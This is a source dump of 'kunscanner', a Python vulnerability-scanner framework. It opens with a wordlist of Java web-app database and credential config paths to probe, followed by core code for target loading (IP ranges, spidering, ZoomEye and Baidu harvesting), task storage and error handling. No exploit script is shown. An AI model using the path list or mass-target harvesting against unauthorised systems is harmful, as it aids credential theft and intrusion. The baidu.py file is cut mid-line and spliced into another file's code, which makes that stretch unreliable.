285 | /WEB-INF/log4j.properties
286 | /WEB-INF/classes/dataBase.properties
287 | /WEB-INF/classes/application.properties
288 | /WEB-INF/classes/jdbc.properties
289 | /WEB-INF/classes/db.properties
290 | /WEB-INF/classes/conf/jdbc.properties
291 | /WEB-INF/classes/security.properties
292 | /WEB-INF/conf/database_config.properties
293 | /WEB-INF/config/dbconfig
--------------------------------------------------------------------------------
/kunscanner/lib/__init__.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # @Time : 2018/3/24 下午2:35
3 | # @author : Xmchx
4 | # @File : __init__.py
--------------------------------------------------------------------------------
/kunscanner/lib/api/__init__.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # @Time : 2018/3/24 下午9:41
3 | # @author : Xmchx
4 | # @File : __init__.py
--------------------------------------------------------------------------------
/kunscanner/lib/api/baidu.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # @Time : 2018/5/26 上午11:51
3 | # @author : Xmchx
4 | # @File : baidu.py
5 |
6 | import socket
7 | import re
8 | import requests
9 | import Queue
10 | import threading
11 | from kunscanner.lib.core.exception import APIException
12 | from kunscanner.lib.core.data import conf, args
13 | from kunscanner.lib.utils.utils import GetNetloc
14 | from kunscanner.lib.core.output import OutPutPadding,InfoOutPut2Console
15 | from kunscanner.lib.core.enums import MESSAGE_LEVEL
16 |
17 | class BaiduApi():
18 | def __init__(self):
19 | if args.max_number != None:
20 | self.max_number = int(args.max_number)
21 | else:
22 | self.max_number = int(conf.BAIDU_MAX_NUMBER)
23 | self.keyword = args.baidu
24 | self.search_url = 'http://www.baidu.com/s?wd={0}&rn=50&pn={1}'
25 | self.regex_url = r' 10:
45 | break
46 | else:
47 | time.sleep(1)
48 | if i < int(conf.SCANNER_WAIT_SPIDER_TIME):
49 | scanner = Scanner(target_loader, script_loader)
50 | scanner.Run()
51 | UpdataSpiderScanInfoToDatabase(scanner.spider_target_list,script_loader)
52 | else:
53 | UpdateCommonScanInfoToDatabase(target_loader, script_loader)
54 | scanner = Scanner(target_loader, script_loader)
55 | scanner.Run()
56 |
57 | InfoOutPut2Console('\n[!] Finish at '+time.strftime("%Y/%m/%d %H:%M:%S", time.localtime()))
58 |
59 | elif args.work_type == WORK_TYPE.INFO:
60 | if args.scanner_mode == SCANNER_MODE.CONSOLE:
61 | if args.search_script != None:
62 | OutPutSearchScriptInfo(self.GetScriptsInfo())
63 | else:
64 | OutputScriptInfo(self.GetScriptsInfo())
65 | if args.scanner_mode == SCANNER_MODE.WEB:
66 | script_info_list = []
67 | for script in self.GetScriptsInfo():
68 | script_info = {}
69 | script_info['name'] = script['object'].Info()['name']
70 | script_info['info'] = script['object'].Info()['info']
71 | script_info['author'] = script['object'].Info()['author']
72 | script_info['time'] = script['object'].Info()['time']
73 | script_info['type'] = script['object'].Info()['type']
74 | script_info['level'] = script['object'].Info()['level']
75 | script_info['title'] = script['object'].Info()['title']
76 | script_info_list.append(script_info)
77 | return script_info_list
78 | return None
79 |
80 |
81 | def GetScriptsInfo(self):
82 | script_loader = ScriptLoader()
83 | script_loader.Loader()
84 | return script_loader.script_object_list
85 |
86 |
87 |
--------------------------------------------------------------------------------
/kunscanner/lib/core/__init__.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # @Time : 2018/3/24 下午2:35
3 | # @author : Xmchx
4 | # @File : __init__.py
5 |
6 | import os
7 | from data import path, conf, args
8 | from kunscanner.lib.utils.utils import CheckFileExists,GetConfig
9 | from exception import LoadConfException
10 | from enums import SCANNER_MODE
11 |
12 |
13 | def SetPath():
14 | path.START_PATH = os.path.dirname(os.path.dirname(os.path.dirname(os.path.dirname(os.path.realpath(__file__)))))
15 | path.ROOT_PATH = os.path.dirname(os.path.dirname(os.path.dirname(os.path.realpath(__file__))))
16 | path.LIB_PATH = path.ROOT_PATH + '/lib/'
17 | path.DICT_PATH = path.ROOT_PATH + '/dict/'
18 | path.RESULT_PATH = path.ROOT_PATH + '/result/'
19 | path.LOG_PATH = path.ROOT_PATH + '/log/'
20 | path.CONFIG_PATH = path.LIB_PATH + '/config/'
21 | path.SCRIPTS_PATH = path.LIB_PATH + '/scripts/'
22 |
23 |
24 | def SetConfig():
25 | conf.SAVE_LOG_TO_FILE = 'true'
26 | config_file = 'scanner.conf'
27 | file_path = path.CONFIG_PATH + config_file
28 | if CheckFileExists(file_path) == False:
29 | raise LoadConfException('The {0} file does not exist, The correct path to the file: {1}'.format(config_file, file_path))
30 | config = GetConfig()
31 | config.read(file_path)
32 | for section in config.sections():
33 | option = config.items(section)
34 | for opt in option:
35 | conf.__setitem__(opt[0], opt[1])
36 |
37 |
38 | def SetArgs(args_type,InputOptions):
39 | if args_type == SCANNER_MODE.CONSOLE:
40 | args.update(InputOptions.__dict__)
41 | args.scanner_mode = SCANNER_MODE.CONSOLE
42 | args.scan_args = None
43 | else:
44 | args.update(InputOptions)
45 | args.scanner_mode = SCANNER_MODE.WEB
46 | args.scan_args = InputOptions
--------------------------------------------------------------------------------
/kunscanner/lib/core/argsparse.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # @Time : 2018/3/24 下午4:40
3 | # @author : Xmchx
4 | # @File : argsparse.py
5 |
6 | import uuid
7 | import datetime
8 | from data import args, conf
9 | from enums import TARGET_TYPE, API_TYPE, SCRIPT_TYPE, SAVE_DATA_TYPE, SCANNER_MODE, WORK_TYPE
10 | from exception import ArgsException
11 |
12 | def SetOptions():
13 | '''
14 | 设置目标
15 | '''
16 | if args.url != None:
17 | args.scan_type = TARGET_TYPE.SINGLE_URL
18 | args.user_input_target = args.url
19 |
20 | elif args.target_file != None:
21 | args.scan_type = TARGET_TYPE.TARGET_FILE
22 | args.user_input_target = args.target_file
23 |
24 | elif args.ip_segment != None:
25 | args.scan_type = TARGET_TYPE.IPS
26 | args.user_input_target = args.ip_segment
27 |
28 | elif args.spider_init_url != None:
29 | args.scan_type = TARGET_TYPE.SPIDER
30 | args.user_input_target = args.spider_init_url
31 |
32 | elif args.zoomeye != None:
33 | args.scan_type = TARGET_TYPE.API
34 | args.api_type = API_TYPE.ZOOMEYE
35 | args.user_input_target = args.zoomeye
36 | elif args.baidu != None:
37 | args.scan_type = TARGET_TYPE.API
38 | args.api_type = API_TYPE.BAIDU
39 | args.user_input_target = args.baidu
40 | elif args.subdomain != None:
41 | args.scan_type = TARGET_TYPE.API
42 | args.api_type = API_TYPE.SUBDOMAIN
43 | args.user_input_target = args.subdomain
44 | else:
45 | args.scan_type = None
46 | '''
47 | 设置脚本加载方式
48 | '''
49 | if args.custom_scripts != None:
50 | args.script_type = SCRIPT_TYPE.CUSTOM_SCRIPT
51 |
52 | elif args.all_scripts == True:
53 | args.script_type = SCRIPT_TYPE.ALL_SCRIPT
54 |
55 | else:
56 | args.script_type = None
57 | '''
58 | 设置存储方式
59 | '''
60 | if conf.SAVE_RESULT_TO_FILE == 'true' and conf.SAVE_RESULT_TO_DATABASE == 'true':
61 | conf.SAVE_TYPE = SAVE_DATA_TYPE.ALL
62 |
63 | elif conf.SAVE_RESULT_TO_FILE == 'true':
64 | conf.SAVE_TYPE = SAVE_DATA_TYPE.FILE
65 |
66 | elif conf.SAVE_RESULT_TO_DATABASE == 'true':
67 | conf.SAVE_TYPE = SAVE_DATA_TYPE.DATABASE
68 |
69 | elif conf.SAVE_RESULT_TO_FILE == 'false' and conf.SAVE_RESULT_TO_DATABASE == 'false':
70 | conf.SAVE_TYPE = SAVE_DATA_TYPE.NO_OUTPUT
71 | '''
72 | 设置任务信息
73 | '''
74 | if args.scanner_mode == SCANNER_MODE.CONSOLE:
75 | if conf.SAVE_TYPE == SAVE_DATA_TYPE.DATABASE or conf.SAVE_TYPE == SAVE_DATA_TYPE.ALL:
76 | args.task_id = str(uuid.uuid1())
77 | if args.task_name == None:
78 | now_time = datetime.datetime.now().strftime('%Y-%m-%d %H:%M:%S')
79 | args.task_name = now_time
80 | '''
81 | 设置数据库方式
82 | '''
83 | if args.scanner_mode == SCANNER_MODE.WEB or conf.SAVE_TYPE == SAVE_DATA_TYPE.DATABASE or conf.SAVE_TYPE == SAVE_DATA_TYPE.ALL:
84 | args.use_database = True
85 | else:
86 | args.use_database = False
87 | '''
88 | 检查是否设置目标和脚本
89 | '''
90 | if args.scan_type != None and args.script_type == None:
91 | raise ArgsException('Please enter the attack script. E.g: --script "struts2*"')
92 | '''
93 | 设定输入命令为扫描还是其他
94 | '''
95 | if args.scan_type != None and args.script_type != None:
96 | args.work_type = WORK_TYPE.SCAN
97 |
98 | elif args.custom_scripts_info != None or args.all_scripts_info == True or args.search_script != None:
99 | args.work_type = WORK_TYPE.INFO
100 | if args.custom_scripts_info != None:
101 | args.custom_scripts = args.custom_scripts_info
102 | args.script_type = SCRIPT_TYPE.CUSTOM_SCRIPT
103 | elif args.all_scripts_info == True:
104 | args.script_type = SCRIPT_TYPE.ALL_SCRIPT
105 | elif args.search_script != None:
106 | args.script_type = SCRIPT_TYPE.ALL_SCRIPT
107 |
108 |
109 |
--------------------------------------------------------------------------------
/kunscanner/lib/core/common.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # @Time : 2018/3/24 下午2:41
3 | # @author : Xmchx
4 | # @File : common.py
5 |
6 | import os
7 | import sys
8 | import platform
9 | from data import conf
10 | from enums import SYSTEM_TYPE
11 |
12 | def GetSystemType():
13 | system = platform.system()
14 | if system == 'Windows':
15 | conf.SYSTEM_TYPE = SYSTEM_TYPE.WINDOWS
16 | elif system == 'Linux':
17 | conf.SYSTEM_TYPE = SYSTEM_TYPE.LINUX
18 | else:
19 | conf.SYSTEM_TYPE = SYSTEM_TYPE.UNKNOWN
20 |
21 | def SysQuit(quit_type = 0):
22 | if quit_type == 0:
23 | sys.exit()
24 | else:
25 | os._exit(0)
26 |
27 | def LoadDict(file_path):
28 | data = []
29 | with open(file_path,'r') as f:
30 | fdata = f.readlines()
31 | for line in fdata:
32 | if line:
33 | data.append(line.strip())
34 | return data
35 |
36 | def Encode(msg):
37 | if isinstance(msg, unicode):
38 | try:
39 | msg = msg.encode(sys.stdout.encoding)
40 | except:
41 | msg = msg
42 | else:
43 | msg = msg
44 | return msg
45 |
46 |
47 |
48 |
49 |
--------------------------------------------------------------------------------
/kunscanner/lib/core/data.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # @Time : 2018/3/24 下午2:38
3 | # @author : Xmchx
4 | # @File : data.py
5 |
6 | from datatype import AttribDict
7 |
8 | '''
9 | 初始化所有相关文件的path
10 | '''
11 | path = AttribDict()
12 |
13 | '''
14 | #初始化所有配置
15 | '''
16 | conf = AttribDict()
17 |
18 | '''
19 | 初始化命令行参数
20 | '''
21 | args = AttribDict()
--------------------------------------------------------------------------------
/kunscanner/lib/core/database.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # @Time : 2018/3/24 下午6:41
3 | # @author : Xmchx
4 | # @File : database.py
5 |
6 | from data import args
7 | from models import Task,Result,Status,Vuln, ConnectDatabase
8 | from enums import TARGET_TYPE,STATUS
9 | import json
10 | import hashlib
11 | from exception import DatabaseException
12 |
13 | def CheckDatabase():
14 | return ConnectDatabase()
15 |
16 |
17 |
18 | def SaveTaskToDatabase():
19 | if args.use_database == False:
20 | return
21 | if args.scan_type == TARGET_TYPE.API:
22 | target_type = args.scan_type + ' ' + args.api_type
23 | else:
24 | target_type = args.scan_type
25 | try:
26 | Task(
27 | task_id=args.task_id,
28 | task_name=args.task_name,
29 | short_target=args.user_input_target,
30 | scan_mode=args.scanner_mode,
31 | target_type=target_type,
32 | script_type=args.script_type,
33 | ).save()
34 |
35 | Result(
36 | task_id=args.task_id,
37 | result='',
38 | high_count = 0,
39 | medium_count = 0,
40 | low_count = 0
41 | ).save()
42 | except Exception,e:
43 | raise DatabaseException(repr(e))
44 |
45 |
46 | def UpdataSpiderScanInfoToDatabase(target_list,script_loader):
47 | if args.use_database == False:
48 | return
49 | script_list = []
50 | try:
51 | for script in script_loader.script_object_list:
52 | script_list.append(script['name'])
53 | if Task.objects(task_id = args.task_id).count():
54 | task = Task.objects(task_id=args.task_id)
55 | task.update(
56 | full_target=json.dumps(target_list),
57 | target_number=str(len(target_list)),
58 | script_info=json.dumps(script_list)
59 | )
60 | except Exception,e:
61 | raise DatabaseException(repr(e))
62 |
63 | def UpdateCommonScanInfoToDatabase(target_loader,script_loader):
64 | if args.use_database == False:
65 | return
66 | script_list = []
67 | try:
68 | for script in script_loader.script_object_list:
69 | script_list.append(script['name'])
70 | if Task.objects(task_id = args.task_id).count():
71 | task = Task.objects(task_id = args.task_id)
72 | task.update(
73 | full_target = json.dumps(target_loader.domain_list),
74 | target_number = str(len(target_loader.domain_list)),
75 | script_info = json.dumps(script_list)
76 | )
77 | except Exception,e:
78 | raise DatabaseException(repr(e))
79 |
80 | def UpdateStatus():
81 | if args.use_database == False:
82 | return
83 | try:
84 | if Status.objects(task_id=args.task_id).count():
85 | status = Status.objects(task_id=args.task_id).first()
86 | status.update(status=STATUS.RUN)
87 | else:
88 | try:
89 | Status(
90 | task_id=args.task_id,
91 | task_name=args.task_name,
92 | warning='',
93 | progress='0',
94 | status=STATUS.RUN
95 | ).save()
96 | except Exception,e:
97 | if 'duplicate key' in e:
98 | pass
99 | except Exception,e:
100 | raise DatabaseException(repr(e))
101 |
102 |
103 | def SaveWarningToDatabase(data):
104 | if args.use_database == False:
105 | return
106 | try:
107 | status = Status.objects(task_id = args.task_id)
108 | status.update(warning = data)
109 | except Exception,e:
110 | raise DatabaseException(repr(e))
111 |
112 |
113 |
114 | def SaveProgressToDatabase(data):
115 | if args.use_database == False:
116 | return
117 | try:
118 | status = Status.objects(task_id = args.task_id)
119 | status.update(progress = data)
120 | except Exception,e:
121 | raise DatabaseException(repr(e))
122 |
123 |
124 | def SaveStatusToDatabase(data):
125 | if args.use_database == False:
126 | return
127 | try:
128 | status = Status.objects(task_id = args.task_id)
129 | status.update(status = data)
130 | except Exception,e:
131 | raise DatabaseException(repr(e))
132 |
133 |
134 | '''
135 | 扫描任务最终结果的格式
136 | [{
137 | "target": "127.0.0.1",
138 | "result": [{
139 | "items": {
140 | "test1": "test1",
141 | "test2": "test2",
142 | "test3": ""
143 | },
144 | "script_name": "web_info",
145 | "script_type": "info"
146 | }, {
147 | "message": "",
148 | "script_name": "redis_unauth",
149 | "script_type": "attack"
150 | }]
151 | }, {
152 | "target": "127.0.0.2",
153 | "result": [{
154 | "items": {
155 | "test1": "test1",
156 | "test2": "test2",
157 | "test3": ""
158 | },
159 | "script_name": "web_info",
160 | "script_type": "info"
161 | }]
162 | }]
163 | '''
164 |
165 |
166 | def SaveResultToDatabase(data):
167 | if args.use_database == False:
168 | return
169 | if not len(data['result']):
170 | return
171 | try:
172 | result = Result.objects(task_id = args.task_id)
173 | result.update(
174 | result = json.dumps(data['result']),
175 | high_count = data['high_count'],
176 | medium_count = data['medium_count'],
177 | low_count = data['low_count'])
178 | for each in data['result']:
179 | for script in each['result']:
180 | if script['script_type'] == 'attack':
181 | vuln_id = hashlib.md5(each['target'] + script['script_name']).hexdigest()
182 | if Vuln.objects(vuln_id=vuln_id).count() == 0:
183 | Vuln(
184 | task_id=args.task_id,
185 | vuln_id=vuln_id,
186 | target=each['target'],
187 | script=hashlib.md5(script['script_name']).hexdigest(),
188 | message=script['message'],
189 | script_type=script['script_type']
190 | ).save()
191 | else:
192 | vuln = Vuln.objects(vuln_id=vuln_id).first()
193 | vuln.update(task_id=args.task_id,target=each['target'],script=hashlib.md5(script['script_name']).hexdigest(),
194 | message=script['message'],script_type=script['script_type'])
195 | elif script['script_type'] == 'info':
196 | vuln_id = hashlib.md5(each['target'] + script['script_name']).hexdigest()
197 | if Vuln.objects(vuln_id=vuln_id).count() == 0:
198 | Vuln(
199 | task_id=args.task_id,
200 | vuln_id=vuln_id,
201 | target=each['target'],
202 | script=hashlib.md5(script['script_name']).hexdigest(),
203 | message=json.dumps(script['items']),
204 | script_type = script['script_type']
205 | ).save()
206 | else:
207 | vuln = Vuln.objects(vuln_id = vuln_id).first()
208 | vuln.update(task_id=args.task_id,target=each['target'],script=hashlib.md5(script['script_name']).hexdigest(),
209 | message=json.dumps(script['items']),script_type=script['script_type']
210 | )
211 | except Exception,e:
212 | raise DatabaseException(repr(e))
--------------------------------------------------------------------------------
/kunscanner/lib/core/datatype.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # @Time : 2018/3/24 下午2:38
3 | # @author : Xmchx
4 | # @File : datatype.py
5 |
6 | import copy
7 | import types
8 |
9 | class AttribDict(dict):
10 |
11 | def __init__(self, indict=None, attribute=None):
12 | if indict is None:
13 | indict = {}
14 |
15 | self.attribute = attribute
16 | dict.__init__(self, indict)
17 | self.__initialised = True
18 |
19 |
20 | def __getattr__(self, item):
21 | try:
22 | return self.__getitem__(item)
23 | except KeyError:
24 | raise AttributeError("unable to access item '%s'" % item)
25 |
26 | def __setattr__(self, item, value):
27 | if "_AttribDict__initialised" not in self.__dict__:
28 | return dict.__setattr__(self, item, value)
29 |
30 | elif item in self.__dict__:
31 | dict.__setattr__(self, item, value)
32 |
33 | else:
34 | self.__setitem__(item, value)
35 |
36 | def __getstate__(self):
37 | return self.__dict__
38 |
39 | def __setstate__(self, dict):
40 | self.__dict__ = dict
41 |
42 | def __deepcopy__(self, memo):
43 | retVal = self.__class__()
44 | memo[id(self)] = retVal
45 |
46 | for attr in dir(self):
47 | if not attr.startswith('_'):
48 | value = getattr(self, attr)
49 | if not isinstance(value, (types.BuiltinFunctionType, types.FunctionType, types.MethodType)):
50 | setattr(retVal, attr, copy.deepcopy(value, memo))
51 |
52 | for key, value in self.items():
53 | retVal.__setitem__(key, copy.deepcopy(value, memo))
54 |
55 | return retVal
--------------------------------------------------------------------------------
/kunscanner/lib/core/enums.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # @Time : 2018/3/24 下午2:34
3 | # @author : Xmchx
4 | # @File : enums.py
5 |
6 |
7 | class SCANNER_MODE:
8 | WEB = 'web'
9 | CONSOLE = 'console'
10 |
11 | class SYSTEM_TYPE:
12 | WINDOWS = 'windows'
13 | LINUX = 'linux'
14 | UNKNOWN = 'unknown'
15 |
16 | class MESSAGE_LEVEL:
17 | STATUS_LEVEL = 0
18 | INFO_LEVEL = 1
19 | WARNING_LEVEL = 2
20 | ERROR_LEVEL = 3
21 |
22 |
23 | class LOG_DEFAULT_LEN:
24 | INFO = 27
25 | WARNING = 30
26 | ERROR = 28
27 |
28 |
29 | class TARGET_TYPE:
30 | SINGLE_URL = 'url'
31 | TARGET_FILE = 'file'
32 | IPS = 'ip segment'
33 | SPIDER = 'spider'
34 | API = 'api'
35 |
36 | class API_TYPE:
37 | ZOOMEYE = 'zoomeye'
38 | BAIDU = 'baidu'
39 | SUBDOMAIN = 'subDomainsBrute'
40 |
41 | class SCRIPT_TYPE:
42 | CUSTOM_SCRIPT = "custom script"
43 | ALL_SCRIPT = "all script"
44 |
45 | class SAVE_DATA_TYPE:
46 | FILE = 0
47 | DATABASE = 1
48 | ALL = 2
49 | NO_OUTPUT = 3
50 |
51 | class IPS_TYPE:
52 | SUBNETMASK = 1
53 | IPS = 2
54 |
55 | class API_LOGIN_TYPE:
56 | PASSWORD = 0
57 | ACCESS_TOKEN = 1
58 |
59 | class EXCEPYION_POSITION:
60 | SPIDER = 0
61 | SCANNER = 1
62 | API = 2
63 |
64 | class SPIDER_TYPE:
65 | DEPTH_SPIDER = 1
66 | NUMBER_SPIDER = 2
67 |
68 | class WORK_TYPE:
69 | SCAN = 'scan'
70 | INFO = 'info'
71 |
72 | class STATUS:
73 | WAIT = 'Waiting'
74 | RUN = 'Running'
75 | FINISH = 'Finish'
76 | FAIL = 'Failed'
77 |
78 | class SCRIPT_LEVEL:
79 | HIGH = 'high'
80 | MEDIUM = 'medium'
81 | LOW = 'low'
82 |
83 |
--------------------------------------------------------------------------------
/kunscanner/lib/core/exception.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # @Time : 2018/3/24 下午3:46
3 | # @author : Xmchx
4 | # @File : exception.py
5 |
6 | from enums import MESSAGE_LEVEL, EXCEPYION_POSITION, STATUS
7 | from output import OutPutPadding,InfoOutPut2Console,WriteLogToFile
8 | from common import Encode
9 |
10 | class LoadConfException(Exception):
11 | def __init__(self,message):
12 | message = Encode(message)
13 | msg = OutPutPadding(message,MESSAGE_LEVEL.ERROR_LEVEL)
14 | InfoOutPut2Console(msg,MESSAGE_LEVEL.ERROR_LEVEL)
15 | WriteLogToFile(msg,MESSAGE_LEVEL.ERROR_LEVEL)
16 |
17 |
18 | class PocWarningException(Exception):
19 | def __init__(self,target,script,exception):
20 | target = Encode(target)
21 | script = Encode(script)
22 | exception = Encode(exception)
23 | warning_msg = "Warning in scanner! target: {0} poc: {1} msg: {2}"
24 | message = warning_msg.format(target,script,exception)
25 | msg = OutPutPadding(message,MESSAGE_LEVEL.WARNING_LEVEL)
26 | InfoOutPut2Console(msg,MESSAGE_LEVEL.WARNING_LEVEL)
27 | WriteLogToFile(msg,MESSAGE_LEVEL.WARNING_LEVEL)
28 |
29 | class PocErrorException(Exception):
30 | def __init__(self,message):
31 | message = Encode(message)
32 | msg = OutPutPadding(message,MESSAGE_LEVEL.ERROR_LEVEL)
33 | InfoOutPut2Console(msg,MESSAGE_LEVEL.ERROR_LEVEL)
34 | WriteLogToFile(msg,MESSAGE_LEVEL.ERROR_LEVEL)
35 | from database import SaveWarningToDatabase, SaveStatusToDatabase
36 | SaveStatusToDatabase(STATUS.FAIL)
37 | SaveWarningToDatabase(message)
38 |
39 |
40 | class ArgsException(Exception):
41 | def __init__(self,message):
42 | message = Encode(message)
43 | msg = OutPutPadding(message,MESSAGE_LEVEL.ERROR_LEVEL)
44 | InfoOutPut2Console(msg,MESSAGE_LEVEL.ERROR_LEVEL)
45 | WriteLogToFile(msg,MESSAGE_LEVEL.ERROR_LEVEL)
46 | from database import SaveProgressToDatabase, SaveWarningToDatabase, SaveStatusToDatabase
47 | SaveStatusToDatabase(STATUS.FAIL)
48 | SaveProgressToDatabase('0')
49 | SaveWarningToDatabase(message)
50 |
51 | class DatabaseException(Exception):
52 | def __init__(self,message):
53 | message = Encode(message)
54 | msg = OutPutPadding(message,MESSAGE_LEVEL.ERROR_LEVEL)
55 | InfoOutPut2Console(msg,MESSAGE_LEVEL.ERROR_LEVEL)
56 | WriteLogToFile(msg,MESSAGE_LEVEL.ERROR_LEVEL)
57 |
58 |
59 | class APIException(Exception):
60 | def __init__(self,message):
61 | message = Encode(message)
62 | msg = OutPutPadding(message,MESSAGE_LEVEL.ERROR_LEVEL)
63 | InfoOutPut2Console(msg,MESSAGE_LEVEL.ERROR_LEVEL)
64 | WriteLogToFile(msg,MESSAGE_LEVEL.ERROR_LEVEL)
65 | from database import SaveProgressToDatabase, SaveWarningToDatabase, SaveStatusToDatabase
66 | SaveStatusToDatabase(STATUS.FAIL)
67 | SaveProgressToDatabase('0')
68 | SaveWarningToDatabase(message)
69 |
70 |
71 | class RequestsException():
72 | def __init__(self,exception,position,error_level,target,script = None):
73 | self.exception = Encode(repr(exception))
74 | self.position = Encode(position)
75 | self.target = Encode(target)
76 | self.script = Encode(script)
77 | self.error_level = Encode(error_level)
78 | if 'ConnectionError' in self.exception:
79 | self.OutPutMessage('ConnectionError')
80 | if 'ConnectTimeout' in self.exception or 'ReadTimeout' in self.exception:
81 | self.OutPutMessage('ConnectTimeout')
82 |
83 | def OutPutMessage(self,exception):
84 | spider_exception_msg = 'Target: {0} exception: {1}'
85 | scanner_exception_msg = 'Target: {0} script: {1} exception: {2}'
86 | api_exception_msg = 'Connect API error exception: {0}'
87 | if self.position == EXCEPYION_POSITION.SPIDER:
88 | msg = OutPutPadding(spider_exception_msg.format(self.target,exception),self.error_level)
89 | InfoOutPut2Console(msg,self.error_level)
90 | WriteLogToFile(msg,self.error_level)
91 | elif self.position == EXCEPYION_POSITION.SCANNER:
92 | msg = OutPutPadding(scanner_exception_msg.format(self.target,self.script,exception),self.error_level)
93 | InfoOutPut2Console(msg,self.error_level)
94 | WriteLogToFile(msg,self.error_level)
95 | elif self.position == EXCEPYION_POSITION.API:
96 | msg = OutPutPadding(api_exception_msg.format(exception),self.error_level)
97 | InfoOutPut2Console(msg,self.error_level)
98 | WriteLogToFile(msg,self.error_level)
--------------------------------------------------------------------------------
/kunscanner/lib/core/info.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # @Time : 2018/3/28 下午1:50
3 | # @author : Xmchx
4 | # @File : info.py
5 |
6 | import os
7 | from data import path
8 |
9 | def Banner():
10 | Banner = """
11 | __
12 | / /__ __ __ ____
13 | / //_// / / // __ \\
14 | / ,< / /_/ // / / / author: {0} version: {1}
15 | /_/|_| \__,_//_/ /_/ update time: {2} scripts number: {3}
16 | """
17 |
18 | update_time = '2018.05.26'
19 | script_number = ScriptsNumber()
20 | author = 'Xmchx'
21 | version = 'v1.2'
22 |
23 | return Banner.format(author,version,update_time,script_number)
24 |
25 | def ScriptsNumber():
26 | count = 0
27 | for (root, dirs, files) in os.walk(path.SCRIPTS_PATH):
28 | for f in files:
29 | if f.split('.')[1] == 'py' and f.split('.')[0] != '__init__':
30 | count += 1
31 | return count
32 |
33 |
34 |
--------------------------------------------------------------------------------
/kunscanner/lib/core/loader.py:
--------------------------------------------------------------------------------
1 | # -*- coding: utf-8 -*-
2 | # @Time : 2018/3/24 下午8:05
3 | # @author : Xmchx
4 | # @File : loader.py
5 |
6 | from data import args,conf,path
7 | from output import InfoOutPut2Console,OutPutPadding
8 | from enums import TARGET_TYPE,MESSAGE_LEVEL,IPS_TYPE,API_TYPE,SCRIPT_TYPE,SCANNER_MODE,WORK_TYPE
9 | from common import SysQuit
10 | import multiprocessing
11 | import urlparse
12 | from exception import ArgsException,APIException
13 | import IPy
14 | import re
15 | import os
16 | from kunscanner.lib.api.zoomeye import ZoomeyeApi
17 | from kunscanner.lib.api.baidu import BaiduApi
18 | from kunscanner.lib.api.subDomainsBrute import SubDomainsBruteApi
19 | from spider import DomainSpider
20 | import imp
21 |
22 | class TargetLoader():
23 |
24 | def Loader(self):
25 | target_type_msg = 'Scan type: {0}'
26 | target_number_msg = 'Target number: {0}'
27 | api_type_msg = 'API type: {0}'
28 | if args.scan_type == TARGET_TYPE.SINGLE_URL:
29 | msg = OutPutPadding(target_type_msg.format('URL'), MESSAGE_LEVEL.INFO_LEVEL)
30 | InfoOutPut2Console(msg, MESSAGE_LEVEL.INFO_LEVEL)
31 | self.domain_list = []
32 | self.LoadSingleTarget()
33 | msg = OutPutPadding(target_number_msg.format(str(len(self.domain_list))), MESSAGE_LEVEL.INFO_LEVEL)
34 | InfoOutPut2Console(msg, MESSAGE_LEVEL.INFO_LEVEL)
35 | if args.scan_type == TARGET_TYPE.TARGET_FILE:
36 | msg = OutPutPadding(target_type_msg.format('FILE'), MESSAGE_LEVEL.INFO_LEVEL)
37 | InfoOutPut2Console(msg, MESSAGE_LEVEL.INFO_LEVEL)
38 | self.domain_list = []
39 | self.LoadFileTarget()
40 | msg = OutPutPadding(target_number_msg.format(str(len(self.domain_list))), MESSAGE_LEVEL.INFO_LEVEL)
41 | InfoOutPut2Console(msg, MESSAGE_LEVEL.INFO_LEVEL)
42 | if args.scan_type == TARGET_TYPE.IPS:
43 | msg = OutPutPadding(target_type_msg.format('IP'), MESSAGE_LEVEL.INFO_LEVEL)
44 | InfoOutPut2Console(msg, MESSAGE_LEVEL.INFO_LEVEL)
45 | self.domain_list = []
46 | self.LoadIpsTarget()
47 | msg = OutPutPadding(target_number_msg.format(str(len(self.domain_list))), MESSAGE_LEVEL.INFO_LEVEL)
48 | InfoOutPut2Console(msg, MESSAGE_LEVEL.INFO_LEVEL)
49 | if args.scan_type == TARGET_TYPE.SPIDER:
50 | self.domain_queue = multiprocessing.Queue()
51 | msg = OutPutPadding(target_type_msg.format('SPIDER'), MESSAGE_LEVEL.INFO_LEVEL)
52 | InfoOutPut2Console(msg, MESSAGE_LEVEL.INFO_LEVEL)
53 | spider_init_domain_msg = 'Spider init domain: {0}'
54 | msg = OutPutPadding(spider_init_domain_msg.format(args.spider_init_url), MESSAGE_LEVEL.INFO_LEVEL)
55 | InfoOutPut2Console(msg, MESSAGE_LEVEL.INFO_LEVEL)
56 | self.LoadSpiderTarget()
57 | if args.scan_type == TARGET_TYPE.API:
58 | self.domain_list = []
59 | msg = OutPutPadding(target_type_msg.format('API'), MESSAGE_LEVEL.INFO_LEVEL)
60 | InfoOutPut2Console(msg, MESSAGE_LEVEL.INFO_LEVEL)
61 | msg = OutPutPadding(api_type_msg.format(args.api_type), MESSAGE_LEVEL.INFO_LEVEL)
62 | InfoOutPut2Console(msg, MESSAGE_LEVEL.INFO_LEVEL)
63 | self.LoadApiTarget()
64 | msg = OutPutPadding(target_number_msg.format(str(len(self.domain_list))), MESSAGE_LEVEL.INFO_LEVEL)
65 | InfoOutPut2Console(msg, MESSAGE_LEVEL.INFO_LEVEL)
66 |
67 | def LoadSingleTarget(self):
68 | if self.CheckIp(args.url) or self.CheckDomain(args.url):
69 | self.domain_list.append(args.url)
70 | else:
71 | raise ArgsException('The specified target format is incorrect, please re-enter')
72 |
73 | def LoadIpsTarget(self):
74 | if '-' in args.ip_segment:
75 | self.StrToIp(IPS_TYPE.IPS)
76 | elif '/' in args.ip_segment:
77 | self.StrToIp(IPS_TYPE.SUBNETMASK)
78 | else:
79 | raise ArgsException('The entered IP address range is not valid')
80 |
81 | def LoadFileTarget(self):
